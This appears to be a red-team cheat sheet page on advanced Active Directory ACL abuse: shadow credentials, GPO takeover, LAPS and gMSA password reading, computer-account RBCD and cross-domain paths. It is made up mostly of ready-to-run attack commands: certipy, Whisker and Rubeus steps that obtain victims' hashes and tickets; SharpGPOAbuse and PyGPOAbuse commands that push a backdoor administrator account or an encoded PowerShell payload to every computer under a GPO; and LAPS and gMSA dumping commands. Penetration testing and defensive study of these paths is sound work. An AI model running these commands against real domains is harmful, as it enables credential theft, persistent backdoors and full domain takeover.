AD Attacks

DACL Attacks II — Advanced ACL Abuse

Advanced AD ACL abuse: shadow credentials (msDS-KeyCredentialLink), GPO takeover, computer object RBCD via ACL, cross-domain ACL paths, gMSA credential hijacking, and LAPS ACL exploitation.

Continuation of DACL Attacks I. This page covers techniques that go beyond simple password resets and group adds: shadow credentials, GPO code execution, LAPS misconfigs, gMSA hijacks, and cross-domain ACL paths.

When you have GenericWrite or AddKeyCredentialLink on a user or computer, you can set a certificate-based credential and then request a TGT or NTLM hash without knowing the password.

Requires: AD CS or Windows Hello for Business in the environment (PKINIT).

# certipy (Linux) — fully automated
certipy shadow auto -u attacker@corp.local -p pass -account victim -dc-ip DC_IP
# Outputs: victim.pfx certificate + victim's NT hash

# certipy — manual steps
certipy shadow add -u attacker@corp.local -p pass -account victim -dc-ip DC_IP
certipy shadow list -u attacker@corp.local -p pass -account victim -dc-ip DC_IP
# Authenticate with the cert to get NTLM hash
certipy auth -pfx victim.pfx -dc-ip DC_IP
# pywhisker (Linux)
python3 pywhisker.py -d corp.local -u attacker -p pass --target victim --action add
# Outputs a Rubeus command to request the TGT
# Whisker (Windows)
.\Whisker.exe add /target:victim /domain:corp.local /dc:DC_IP
# Outputs a Rubeus command — run it to get the TGT
.\Rubeus.exe asktgt /user:victim /certificate:BASE64 /password:CERT_PASS /ptt

Shadow credentials on a computer account

# Target computer$ instead of a user (useful for RBCD chain)
certipy shadow auto -u attacker@corp.local -p pass -account 'TARGET$' -dc-ip DC_IP
# Get the computer's NTLM hash → use for RBCD S4U

GPO Abuse (GenericAll / GenericWrite on GPO object)

A GPO linked to an OU with computers means code execution on every machine in that OU.

Enumerate writable GPOs

# Find GPOs you have write access on
Get-DomainGPO | ForEach-Object {
  $acl = Get-DomainObjectAcl -Identity $_.Name -ResolveGUIDs
  $acl | Where { $_.IdentityReference -match "attacker|controlled_group" -and
                  $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|Write" } |
         Select @{N="GPO";E={$_.ObjectDN}}, ActiveDirectoryRights
}

# Find computers affected by a specific GPO
Get-DomainGPO -Identity 'GPO_GUID' | select displayname
Get-DomainOU | Where { $_.gplink -match 'GPO_GUID' } |
  Get-DomainComputer -SearchBase $_.distinguishedname | select dnshostname

Abuse with SharpGPOAbuse (Windows)

# Add attacker account as local admin on all GPO-managed computers
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"

# Add a startup script (runs as SYSTEM)
.\SharpGPOAbuse.exe --AddComputerScript --ScriptName pwn.bat \
  --ScriptContents "net user backdoor Pass123! /add && net localgroup administrators backdoor /add" \
  --GPOName "Vulnerable GPO"

# Add a scheduled task (runs as SYSTEM)
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" \
  --Command "cmd.exe" --Arguments "/c whoami > C:\Temp\gpopwn.txt" \
  --GPOName "Vulnerable GPO"

Abuse with PyGPOAbuse (Linux)

# Add local admin via GPO
python3 pygpoabuse.py corp.local/attacker:pass \
  -gpo-id '{GPO-GUID}' -dc-ip DC_IP \
  -command 'net user backdoor Pass123! /add && net localgroup administrators backdoor /add' \
  -computer-name TARGET

# Add scheduled task
python3 pygpoabuse.py corp.local/attacker:pass \
  -gpo-id '{GPO-GUID}' -dc-ip DC_IP \
  -command 'powershell -enc BASE64_PAYLOAD'

LAPS ACL Exploitation

LAPS stores the local admin password in ms-Mcs-AdmPwd. Users/groups with AllExtendedRights or explicit ReadProperty on ms-Mcs-AdmPwd can read it.

Find who can read LAPS passwords

# PowerView — find accounts with LAPS read access
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs |
  Where { $_.ObjectAceType -match "ms-Mcs-AdmPwd" -and
          $_.ActiveDirectoryRights -match "ReadProperty" } |
  Select ObjectDN, IdentityReference

# Find computers with LAPS deployed
Get-DomainComputer | Where { $_.'ms-Mcs-AdmPwdExpirationTime' -ne $null } | select dnshostname
# NetExec — read LAPS password (if account has read rights)
nxc smb TARGET -u laps-reader -p pass --laps
nxc ldap DC_IP -u user -p pass --laps

Grant yourself LAPS read access (if you have WriteDACL)

Set-DomainObjectAcl -TargetIdentity TARGET_COMPUTER -PrincipalIdentity attacker \
  -Rights ExtendedRight   # AllExtendedRights grants LAPS read

gMSA Credential Hijacking (ReadGMSAPassword)

Group Managed Service Account passwords rotate automatically but can be read by members of specific groups. If you can join that group (or have GenericAll on the group), you can read the gMSA password.

# Find gMSA accounts
Get-DomainObject -LDAPFilter '(objectClass=msDS-GroupManagedServiceAccount)' |
  select name, 'msDS-GroupMSAMembership'

# Who can read the gMSA password
Get-DomainObject -Identity 'gMSA_Account' -Properties 'msDS-GroupMSAMembership'
# NetExec
nxc ldap DC_IP -u user -p pass --gmsa

# gMSADumper (Python)
python3 gMSADumper.py -u user -p pass -d corp.local

# GMSAPasswordReader (Windows)
.\GMSAPasswordReader.exe --AccountName gMSA_Account

After reading the gMSA password hash, use it with Pass-the-Hash or Kerberos ticket requests.


Computer Account Manipulation (MAQ-based RBCD)

When MachineAccountQuota > 0 (default = 10), any domain user can create computer accounts. Combine with GenericWrite/WriteDACL on a target computer for RBCD.

# Check MAQ
nxc ldap DC_IP -u user -p pass -M maq

# Create a computer account
addcomputer.py -computer-name 'EVILPC$' -computer-pass 'EvilPass123!' \
  corp.local/user:pass -dc-ip DC_IP

# Verify creation
nxc ldap DC_IP -u user -p pass --computers

See DACL Attacks I for the full RBCD exploit chain using this account.


Cross-Domain ACL Paths

When AD has bidirectional trusts or SID filtering is not enforced, ACL edges can cross domain boundaries.

# Find cross-domain ACL edges
Get-DomainObjectAcl -Domain child.corp.local -ResolveGUIDs |
  Where { $_.IdentityReference -match "parent.corp.local" }

# Check trust relationships
Get-DomainTrust
Get-ForestTrust

BloodHound CE automatically draws cross-domain edges — look for CanRDP, AdminTo, GenericAll edges pointing from one domain to another.


WriteSPN / msDS-SPN-Delegation-Linked-Names

Advanced Kerberoast targeting via msDS-AdditionalDnsHostName or non-standard SPN attributes:

# Set SPN on a computer account you own (for Silver Ticket setup)
Set-DomainObject -Identity 'OWNED_COMPUTER$' -Set @{serviceprincipalname='http/internalapp.corp.local'}

ACE Abuse Quick Reference

ACE on targetBest attack
GenericAll on UserForceChangePassword → login as victim
GenericAll on GroupAddMember → join privileged group
GenericAll on ComputerRBCD → impersonate Domain Admin
GenericAll on DomainGrant DCSync → dump all hashes
GenericAll on GPOSharpGPOAbuse → SYSTEM on all GPO computers
GenericWrite on UserSet SPN → Kerberoast; or shadow credentials
GenericWrite on ComputerRBCD → impersonate any user
WriteDACL on anyGrant yourself GenericAll → see above
WriteOwner on anyTake ownership → WriteDACL → GenericAll
ForceChangePasswordChange password → login
AddMemberJoin group directly
AddKeyCredentialLinkShadow credentials → NT hash
AllExtendedRightsForceChangePassword or DCSync (on domain obj)
ReadLAPSPasswordRead local admin password
ReadGMSAPasswordRead gMSA password